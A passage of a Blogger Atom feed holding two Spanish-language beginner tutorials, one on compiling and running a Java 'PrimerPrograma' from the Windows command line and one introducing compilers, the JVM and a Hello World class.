"1.7.0"Java(TM) SE Runtime Environment (build 1.7.0-b147)Java HotSpot(TM) Client VM (build 21.0-b17, mixed mode, sharing)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Lo anterior comprueba que tenemos instalado Java correctamente y esta listo para escribir y compilar codigo Java. Pero si recibe un error como “&lt;span style="font-style: italic;"&gt;Bad command or file name&lt;/span&gt;”, entonces las variables de entorno no se han configurado correctamente.&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Creación, Compilacón y Ejecución de Aplicaciones en Java&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Para compilar un programa, abrimos el simbolo del sistema (tambien conocido como consola).  Para abrir, nos vamos a Inicio - Todos los programas - Accesorios - Simbolo de Sistema, o bien tecleando en el buscador de inicio Simbolo de Sistema o cmd (cmd significa "command"). Al hacer esto se habrira el Simbolo de Sistema. Para compilar una aplicacion necesitamos estar en el directorio donde se encuentra nuestra aplicacion.&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="Apple-style-span" style="color: #9fc5e8;"&gt;public class PrimerPrograma {  public static void main ( String args [] ) {  System.out.print( "¡¡Bienvenido a la programacion en Java!!\n" );  System.out.println( " http://delfirosales.blogspot.com " ); }}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;En este ejemplo utilizaremos nuestro primer programa que realizamos en el &lt;a href="http://delfirosales.blogspot.com/2011/11/introduccion-la-programacion-en-java.html"&gt;anterior post&lt;/a&gt;, llamado PrimerPrograma lo tenemos en el directorio C:\programasjava. Asi que, lo que haremos es cambiarnos de directorio de C:\Users\Delfi&amp;gt; a C:\programasjava. Para esto usamos el comando cd ( cd es el comando de cambio de directorio).&lt;/div&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;C:\Users\Delfi&amp;gt; cd  \programasjava&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Nos hemos cambiado de directorio, ahora para mostrar que archivos se encuentran en el directorio utilizaremos el comando dir y nos mostrar los archivos contenidos en el directorio programasjava.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-om0qNGbzzwA/Tsn3AS5ql2I/AAAAAAAABU4/_jhs-QP3bgg/s1600/Directorio_Windows.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677340389722986338" src="http://3.bp.blogspot.com/-om0qNGbzzwA/Tsn3AS5ql2I/AAAAAAAABU4/_jhs-QP3bgg/s400/Directorio_Windows.png" style="cursor: hand; cursor: pointer; display: block; height: 178px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;En nuesto caso solo tenemos la aplicacion PrimerPrograma utilizado en el anterior post.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Un compilador de Java traduce un archivo fuente de Java  en un archivo bytecode (codigo de bytes) de Java. Estamos listos para compilar el programa llamado PrimerPrograma.java El siguiente comando compila la aplicacion PrimerPrograma.java (javac significa compilar java).&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;javac PrimerPrograma.java&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Si no hay errores de sintaxis, el compilador genera un archivo con una extension de codigo de bytes. Asi el comando anterior genera un archivo con el nombre de PrimerPrograma.class como se muestra en la siguiente figura.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-HyfcOlqI5Ag/Tsn3M-uXVQI/AAAAAAAABVE/lAmg8EuhDJQ/s1600/Java_Class.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677340607645177090" src="http://2.bp.blogspot.com/-HyfcOlqI5Ag/Tsn3M-uXVQI/AAAAAAAABVE/lAmg8EuhDJQ/s400/Java_Class.png" style="cursor: hand; cursor: pointer; display: block; height: 187px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;El archivo PrimerPrograma.class generado.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Realizado el paso anterior, ahora podemos utilizar el siguiente comando para ejecutar el programa PrimerPrograma.&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;java PrimerPrograma&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Este comando inicia la maquina virtual de java (JVM). Las palabras ¡¡Bienvenido a la programacion en Java!! se muestran en la ventana de comandos.&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;¡¡Bienvenido a la programacion en Java!!http://delfirosales.blogspot.com&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;La siguiente siguiente imagen muestra el resumen del proceso de compilacion, ejecuacion de PrimerPrograma en Java.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-Cr5y9YqbxJA/Tsn3bazgg3I/AAAAAAAABVQ/VpgAdkO85MY/s1600/Proceso_Java.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677340855701111666" src="http://1.bp.blogspot.com/-Cr5y9YqbxJA/Tsn3bazgg3I/AAAAAAAABVQ/VpgAdkO85MY/s400/Proceso_Java.png" style="cursor: hand; cursor: pointer; display: block; height: 140px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Proceso de compilacion, ejecuacion de PrimerPrograma en Java.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;El lenguaje Java es un lenguaje de alto nivel, mientras que el bytecode de Java es un lenguaje de bajo nivel. El bytecode es similar a las intrucciones de la maquina, pero es arquitectura neutral y puede ejecutarse en cualquier plataforma que tenga una maquina virtual de Java (JVM). En lugar de una maquina fisica, la maquina virtual es un programa que interpreta el bytecode de Java. Esta es una de las principales ventajas de Java.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-XizhDqylJYw/Tsn3vRIri8I/AAAAAAAABVc/PnHA91Sqb4s/s1600/Proceso_Ejecucion_Java.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677341196702944194" src="http://4.bp.blogspot.com/-XizhDqylJYw/Tsn3vRIri8I/AAAAAAAABVc/PnHA91Sqb4s/s400/Proceso_Ejecucion_Java.png" style="cursor: hand; cursor: pointer; display: block; height: 91px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Codigo Fuente de Java es traducido a Codigo Byte (bytecode).&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Podemos utilizar cualquier editor de texto o IDE para crear y editar   nuestro codigo fuente de Java, ejemplo en Windows podemos utilizar el blog de notas o bien utilizar un IDE (Entorno de Desarrollo Integrado) como Eclipse, NetBeans, JCreator etc.&lt;br /&gt;&lt;br /&gt;Tambien podemos ingresar al sitio de Java e ir a la seccion de  &lt;span style="font-style: italic;"&gt;frequently asked questions&lt;/span&gt; (FAQs) que proporcionan respuestas breves a las preguntas mas frecuentes sobre el software de Java.&lt;/div&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Referencias:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://es.wikipedia.org/wiki/Java_Development_Kit"&gt;Java Development Kit o (JDK)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.amazon.com/Java-TM-Programming-Problem-Analysis/dp/111153053X/ref=sr_1_2?ie=UTF8&amp;amp;qid=1321833149&amp;amp;sr=8-2"&gt;Java Programming: From Problem Analysis to Program Design&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.amazon.com/Introduction-Java-Programming-Comprehensive-8th/dp/0132130807/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1321833267&amp;amp;sr=1-1"&gt;Introduction to Java Programming, Comprehensive (8th Edition)&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-7424755454033817913?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=5yjMWBKE_Xo:eVsktDPZOiU:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=5yjMWBKE_Xo:eVsktDPZOiU:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=5yjMWBKE_Xo:eVsktDPZOiU:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=5yjMWBKE_Xo:eVsktDPZOiU:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=5yjMWBKE_Xo:eVsktDPZOiU:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=5yjMWBKE_Xo:eVsktDPZOiU:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=5yjMWBKE_Xo:eVsktDPZOiU:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=5yjMWBKE_Xo:eVsktDPZOiU:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=5yjMWBKE_Xo:eVsktDPZOiU:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=5yjMWBKE_Xo:eVsktDPZOiU:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=5yjMWBKE_Xo:eVsktDPZOiU:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=5yjMWBKE_Xo:eVsktDPZOiU:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=5yjMWBKE_Xo:eVsktDPZOiU:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=5yjMWBKE_Xo:eVsktDPZOiU:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=5yjMWBKE_Xo:eVsktDPZOiU:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=5yjMWBKE_Xo:eVsktDPZOiU:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=5yjMWBKE_Xo:eVsktDPZOiU:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=5yjMWBKE_Xo:eVsktDPZOiU:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=5yjMWBKE_Xo:eVsktDPZOiU:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=5yjMWBKE_Xo:eVsktDPZOiU:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/5yjMWBKE_Xo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/7424755454033817913/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=7424755454033817913" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/7424755454033817913?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/7424755454033817913?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/5yjMWBKE_Xo/ejecucion-de-aplicaciones-java-usando.html" title="Ejecución de Aplicaciones Java usando la Linea de Comandos" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-hviOKRlreGc/Tsn1RNYCUuI/AAAAAAAABTk/FHJ_-ML7EsI/s72-c/Descargar_Java.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/11/ejecucion-de-aplicaciones-java-usando.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUABQngzfip7ImA9WhRRGUg.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-9223299141518815330</id><published>2011-11-20T02:29:00.005-06:00</published><updated>2011-12-03T17:09:13.686-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-03T17:09:13.686-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Programming" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="Notas" /><category scheme="http://www.blogger.com/atom/ns#" term="JDK" /><category scheme="http://www.blogger.com/atom/ns#" term="JVM" /><title>Introducción a la Programación en Java</title><content type="html">&lt;span style="font-weight: bold;"&gt;Qué es un Programa&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Un &lt;span style="font-style: italic;"&gt;programa&lt;/span&gt; no es nada mas que una serie de instrucciones dadas al ordenador en un lenguaje entendido por el, para decirle exactamente lo que queremos que haga. Si el ordenador no entiende algún instrucción, lo comunicara generalmente mediante mensajes visualizados en la pantalla.&lt;/div&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Lenguaje de Programación&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Un programa tiene que escribirse en un lenguaje entendible por el ordenador. Dese el punto de vista física, un ordenador es una maquina electrónica. Los elementos físicos (memoria, unidad central de procesos, etc.) de que dispone el ordenador para representar los datos son de tipo binario. Esto es, cada elemento puede diferenciar dos estados (dos niveles de voltaje). Cada estado se denomina genéricamente &lt;span style="font-style: italic;"&gt;bit&lt;/span&gt; y se simboliza por 0 o 1. Por lo tanto, para representar y manipular información numérica, alfabética y alfanumérica se emplean cadenas de &lt;span style="font-style: italic;"&gt;bits&lt;/span&gt;. Según esto, se denomina &lt;span style="font-style: italic;"&gt;byte&lt;/span&gt; a la cantidad de información empleada por un ordenador para representar un carácter, generalmente un &lt;span style="font-style: italic;"&gt;byte&lt;/span&gt; es una cadena de ocho &lt;span style="font-style: italic;"&gt;bits&lt;/span&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Asi por ejemplo, cuando un programa le indica al ordenador que visualice un mensaje en nuestro monitor, o que imprima en una impresora, las instrucciones para llevar acabo estas acciones, para que puedan ser entendibles por el ordenador tienen que estar almacenadas en memoria como cadenas de bits. Esto hace pensar que escribir un programa utiliza ceros y unos (lenguaje maquina), llevaría mucho tiempo y muchas posibilidades de cometer errores. Por este motivo se desarrollaron los lenguajes ensambladores y lenguajes de programación de alto nivel.&lt;br /&gt;&lt;br /&gt;Los lenguajes de alto nivel para traducir las instrucciones a lenguaje maquina utilizan otro programa denominado compilador. Para traducir un programa escrito en un lenguaje de alto nivel (programa fuente) a lenguaje maquina se utiliza un programa llamado &lt;span style="font-style: italic;"&gt;compilador&lt;/span&gt;. Este programa tomara como datos nuestro programa escrito en lenguaje de alto nivel y dará como resultado el mismo programa pero escrito en lenguaje maquina, programa que ya puede ejecutar directa o indirectamente el ordenador.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-kZd9jQOwCTY/Tsi6pLra6vI/AAAAAAAABS0/e48x91OGaqI/s1600/traduccion_compilador.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5676992546972822258" src="http://1.bp.blogspot.com/-kZd9jQOwCTY/Tsi6pLra6vI/AAAAAAAABS0/e48x91OGaqI/s400/traduccion_compilador.png" style="cursor: hand; cursor: pointer; display: block; height: 89px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Compilador&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Por ejemplo, un programa escrito en el lenguaje C necesito del compilador C para poder ser traducido. Posteriormente el programa traducido podrá ejecutarse directamente por el ordenador. En cambio, para traducir un programa escrito en el lenguaje Java necesita del compilador Java, en este caso, el lenguaje maquina no corresponde al lado del ordenador sino al de una maquina ficticia, denominada maquina virtual Java, que sera puesta en marcha por el ordenador para ejecutar el programa.&lt;br /&gt;&lt;br /&gt;¿Que es una maquina virtual? Una maquina que no existe físicamente sino que es simulada en un ordenador por un programa. ¿Por que utilizar una maquina virtual? Porque, por tratarse de un programa, es muy facil instalarla en cualquier ordenador, basta con copiar ese programa al disco duro, por ejemplo. Y, ¿que ventajas reporta? Pues, en el caso de Java, que un programa escrito en este lenguaje y compilado, puede ser ejecutado en cualquier ordenador del mundo que tenga instalada esa maquina virtual. Esta solución hace posible que cualquier ordenador pueda ejecutar un programa escrito en Java independiente de la plataforma que utilice, lo que se conoce como transportabilidad de programas.&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Lenguaje de Programación Java&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Java es un lenguaje de programación de alto nivel con el que se puede escribir tanto programas convencionales como para Internet. Una de las ventajas significativas de Java sobre otros lenguajes de programación es independiente de la plataforma, tanto en código fuente como en binario. Java incluye dos elementos: un &lt;span style="font-style: italic;"&gt;compilado&lt;/span&gt;r y un &lt;span style="font-style: italic;"&gt;interprete&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;El compilador produce un código de bytes que se almacena en un fichero para ser ejecutado por el interprete Java denominado &lt;span style="font-style: italic;"&gt;maquina virtual de Java&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-DlDODhbTEck/Tsi60W-fVEI/AAAAAAAABTA/yAweP89qjsU/s1600/MaquinaVirtualJava.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5676992738984154178" src="http://3.bp.blogspot.com/-DlDODhbTEck/Tsi60W-fVEI/AAAAAAAABTA/yAweP89qjsU/s400/MaquinaVirtualJava.png" style="cursor: hand; cursor: pointer; display: block; height: 79px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Maquina Virtual de Java&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Otra característica importante de Java es que es un lenguaje de programación orientada a objetos (POO). Ademas de ser transportable y orientado a objetos, Java es un lenguaje fácil de aprender. Tiene un tamaño pequeño que favorece el desarrollo y reduce las posibilidades de cometer errores, a la vez es potente y flexible.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Realización de un Programa en Java&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Una aplicación en Java es un programa que se ejecuta utilizando el interprete Java. Un programa puede ser una aplicación o un &lt;span style="font-style: italic;"&gt;applet&lt;/span&gt;. Empecemos con la creación de una aplicación sencilla, el clásico ejemplo de mostrar un mensaje de texto en pantalla.&lt;br /&gt;&lt;br /&gt;// indica que el resto de la linea es un &lt;span style="font-style: italic;"&gt;comentario&lt;/span&gt;. Los comentarios son insertados para &lt;span style="font-style: italic;"&gt;documentar&lt;/span&gt; los programas y mejor la legibilidad de estos, también ayudan a otras personas a leer y comprender un programa. El compilador de Java ignora estos comentarios, de manera que la computadora no hace nada cuando el programa se ejecuta.&lt;br /&gt;&lt;br /&gt;Los &lt;span style="font-style: italic;"&gt;comentarios tradicionales&lt;/span&gt; o también conocidos como &lt;span style="font-style: italic;"&gt;comentarios de múltiples lineas&lt;/span&gt; se distribuyen en varias lineas, son como se muestra a continuación.&lt;/div&gt;&lt;pre style="font-style: italic;"&gt;&lt;code&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;/* Este es un comentariotradicional que puedecontener muchas lineas */&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Este tipo de comentarios comienzan con el delimitador /* y termina con */. El compilador de Java ignora todo el texto que este entre delimitadores.&lt;br /&gt;&lt;br /&gt;Nuestro primer programa para imprimir texto en pantalla.&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="Apple-style-span" style="color: #9fc5e8;"&gt;public class PrimerPrograma {  public static void main ( String args [] ) {  System.out.print( "¡¡Bienvenido a la programacion en Java!!\n" );  System.out.println( " http://delfirosales.blogspot.com " ); }}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;¿Que hace este programa?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Comentaremos brevemente cada linea de este programa. Primero se &lt;span style="font-style: italic;"&gt;define una clase&lt;/span&gt; o &lt;span style="font-style: italic;"&gt;declara una clase&lt;/span&gt; para la clase &lt;span style="font-style: italic; font-weight: bold;"&gt;PrimerPrograma&lt;/span&gt;.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;public class PrimerPrograma&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Todo programa en Java consiste de, cuando menos, una declaración de clase que se debe definir. Estas clases se conocen como c&lt;span style="font-style: italic;"&gt;lases definidas por el programador&lt;/span&gt; o &lt;span style="font-style: italic;"&gt;clases definidas por el usuario&lt;/span&gt;. La &lt;span style="font-style: italic;"&gt;palabra clave &lt;span style="font-weight: bold;"&gt;class&lt;/span&gt;&lt;/span&gt; lo que hace es introducir una declaración de clase en Java, la cual debe ir seguida inmediatamente por el &lt;span style="font-style: italic;"&gt;nombre  de la clase&lt;/span&gt;, que en este primer caso es &lt;span style="font-style: italic; font-weight: bold;"&gt;PrimerPrograma&lt;/span&gt;. Las palabras clave, algunas veces también conocidas como &lt;span style="font-style: italic;"&gt;palabras reservadas&lt;/span&gt;, se reservan para uso exclusivo de Java y siempre se escriben en minúscula.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-aHSWNx-ankk/Tsi7AoLTUzI/AAAAAAAABTM/yo2GuyaRnzw/s1600/Programa_Java.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5676992949759726386" src="http://4.bp.blogspot.com/-aHSWNx-ankk/Tsi7AoLTUzI/AAAAAAAABTM/yo2GuyaRnzw/s400/Programa_Java.png" style="cursor: hand; cursor: pointer; display: block; height: 206px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Programa para Imprimir Texto.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;La llave { comienza el &lt;span style="font-style: italic;"&gt;cuerpo&lt;/span&gt; de la declaración de una clase y tiene su correspondiente llave que } que termina la declaración de una clase.&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;public static void main ( String args [] )&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;La linea anterior es el punto de inicio de toda aplacion en Java. Los parentisis despues del &lt;span style="font-weight: bold;"&gt;main&lt;/span&gt; indican que este es un bloque de construcción del programa, al cual se llama &lt;span style="font-style: italic;"&gt;metodo&lt;/span&gt;. Las declaraciones de clases en Java generalmente contienen uno o mas metodos. En una aplicacion en Java, solo uno de esos metodos debe llamarse &lt;span style="font-weight: bold;"&gt;main&lt;/span&gt; y debe definirse como public static void main ( String args [] ) de lo contrario, el interprete java no ejecutara la aplicacion.&lt;br /&gt;&lt;br /&gt;Los metodos pueden realizar tareas y devolver informacion una vez que las hayan concluido. La palabra clave &lt;span style="font-style: italic; font-weight: bold;"&gt;void&lt;/span&gt; indica que este metodo realizara una tarea, en este primer caso, mostrara una linea de texto, pero no devolvera ningun tipo de informacion cuando se complete la tarea.&lt;br /&gt;&lt;br /&gt;La siguiente llave { es el que comienza el &lt;span style="font-style: italic;"&gt;cuerpo de la declaracion del metodo&lt;/span&gt; y su correspondiente llava } debe terminar el cuerpo de la declaracion del metodo.&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;System.out.println( "¡¡Bienvenido a la programacion en Java!!" );&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;La linea anterior indica a la computadora que &lt;span style="font-style: italic;"&gt;realice una accion&lt;/span&gt;, es decir, que imprima la &lt;span style="font-style: italic;"&gt;cadena&lt;/span&gt; de caracteres contenida entre los caracteres de comillas dobles. A una cadena tambien se le denomina &lt;span style="font-style: italic;"&gt;cadena de caracteres&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;mensaje&lt;/span&gt; o &lt;span style="font-style: italic;"&gt;literal de cadena&lt;/span&gt;, pero generealmente se refiere como &lt;span style="font-style: italic;"&gt;cadenas&lt;/span&gt;. El compilador en Java no ignora los caracteres de espacio en blanco dentro de cadenas.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;System.out&lt;/span&gt; se conoce como el &lt;span style="font-style: italic;"&gt;objeto de salida estandar&lt;/span&gt;, permite a las aplicaciones en Java mostrar conjuntos de caracteres en la ventana de comandos, desde la cual se ejecuta la aplicacion en Java.&lt;br /&gt;&lt;br /&gt;En Microsoft Windows 95/98/ME la ventana de comandos es el &lt;span style="font-style: italic;"&gt;simbolo de MS-DOS&lt;/span&gt;.&lt;br /&gt;En Microsoft Windows NT/2000/XP la ventana de comandos es el &lt;span style="font-style: italic;"&gt;simbolo de sistema&lt;/span&gt;.&lt;br /&gt;En UNIX/GNU Linux/Mac OS X la ventana de comandos se llama &lt;span style="font-style: italic;"&gt;ventana de terminal o shell&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;El metodo &lt;span style="font-weight: bold;"&gt;System.out.println&lt;/span&gt; muestra o imprime una linea de texto en la ventana de comandos. La cadena dentro de los parentisis es el &lt;span style="font-style: italic;"&gt;argumento&lt;/span&gt; para el metodo. Cuando &lt;span style="font-weight: bold;"&gt;System.out.println&lt;/span&gt; completa su tarea, posiciona el &lt;span style="font-style: italic;"&gt;curso de salida&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;El argumento &lt;span style="font-weight: bold;"&gt;"¡¡Bienvenido a la programacion en Java!!" &lt;/span&gt;entre parentisis y el &lt;span style="font-style: italic;"&gt;punto y coma&lt;/span&gt; (;), se conoce como una&lt;span style="font-style: italic;"&gt; instruccion&lt;/span&gt;. La mayoria de las intrucciones terminan con punto y coma. Cuando se ejecuta la instruccion muestra el mensaje &lt;span style="font-weight: bold;"&gt;"¡¡Bienvenido a la programacion en Java!!"&lt;/span&gt; en la ventana de comandos.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a 